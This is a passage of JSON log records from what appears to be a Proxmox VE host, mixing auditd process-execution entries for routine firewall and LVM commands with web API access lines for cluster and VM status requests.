exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.464:68070): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395542,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.542:60842): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965202493,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.269:60906): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005389,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.389:68044): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965755086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.086:66952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1387c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.457:68069): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395538,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.538:60841): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965202493,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.262:60904): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005379,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.379:68043): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965754692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.692:66951): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f9240 a1=64f8d7418370 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.449:68068): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395532,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.532:60840): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965201421,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.262:60903): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005371,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.371:68042): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965754655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.655:66950): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be560 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.443:68067): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb75a72b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395529,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.529:60839): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965201421,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:00 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.253:60901): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005363,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.363:68040): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965754181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.181:66949): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.435:68066): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a1e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395522,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.522:60838): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965201421,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.253:60900): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005355,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.355:68039): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965754174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.174:66946): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.426:68065): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.517:60837): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965200179,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964405713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.713:60896): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdacf64de0 a1=615f602481c0 a2=615f60226680 a3=5 items=1 ppid=58465 pid=58466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005348,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.348:68038): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.168:66943): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.100:68064): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.513:60836): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965200179,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 895"} {"@timestamp":1781964405635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.635:60878): arch=c000003e syscall=59 success=no exit=-2 a0=7fff5c7b0e40 a1=5ac50ddb1310 a2=5ac50ddaa680 a3=5 items=1 ppid=58446 pid=58447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005340,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.340:68037): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965749160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965749.160:66940): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.093:68061): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395510,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.510:60835): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965200179,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.242:60868): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005334,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.334:68036): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965746074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.074:66937): arch=c000003e syscall=59 success=yes exit=0 a0=5561ffc800e0 a1=5561ffc7ce60 a2=5561ffc5e680 a3=5 items=2 ppid=64288 pid=64294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966014.505:68058): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be20 a1=64f8d7416f10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65355 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395509,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.509:60834): argc=1 a0=\"date\""} {"@timestamp":1781965199074,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.242:60867): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005328,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.328:68035): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965746071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.071:66936): arch=c000003e syscall=59 success=yes exit=0 a0=5561c6b3cac8 a1=7fff55db7c40 a2=5561ffc5e680 a3=5561c6b2024e items=2 ppid=64288 pid=64290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966014.472:68057): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c5130 a1=64f8d73dd260 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395505,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.505:60832): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965199074,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 894"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.234:60865): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005320,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.320:68034): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965746070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.070:66935): arch=c000003e syscall=59 success=yes exit=0 a0=7fff55db7c00 a1=5561ffc65310 a2=5561ffc5e680 a3=5 items=2 ppid=64288 pid=64289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.083:68056): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395499,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.499:60831): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965199074,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964404.234:60864): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005313,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.313:68033): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965746065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.065:66933): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.078:68053): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395493,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.493:60830): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965197962,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:57 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.225:60859): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005308,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.308:68032): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965746057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.057:66932): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.414:68050): arch=c000003e syscall=59 success=yes exit=0 a0=5d69fe368ed0 a1=5d69fe365c50 a2=5d69fe347680 a3=5 items=2 ppid=65345 pid=65351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.488:60829): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965197962,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.225:60858): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005305,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.305:68031): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965746050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.050:66931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.411:68049): arch=c000003e syscall=59 success=yes exit=0 a0=5d69e6d95ac8 a1=7ffdabc55770 a2=5d69fe347680 a3=5d69e6d7924e items=2 ppid=65345 pid=65347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395482,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.482:60828): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965197962,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.217:60856): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005304,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.304:68030): argc=1 a0=\"date\""} {"@timestamp":1781965746043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.043:66930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.410:68048): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdabc55730 a1=5d69fe34e310 a2=5d69fe347680 a3=5 items=2 ppid=65345 pid=65346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395475,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.475:60827): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965196847,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964399.217:60855): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005299,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.299:68028): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965746035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.035:66929): arch=c000003e syscall=59 success=yes 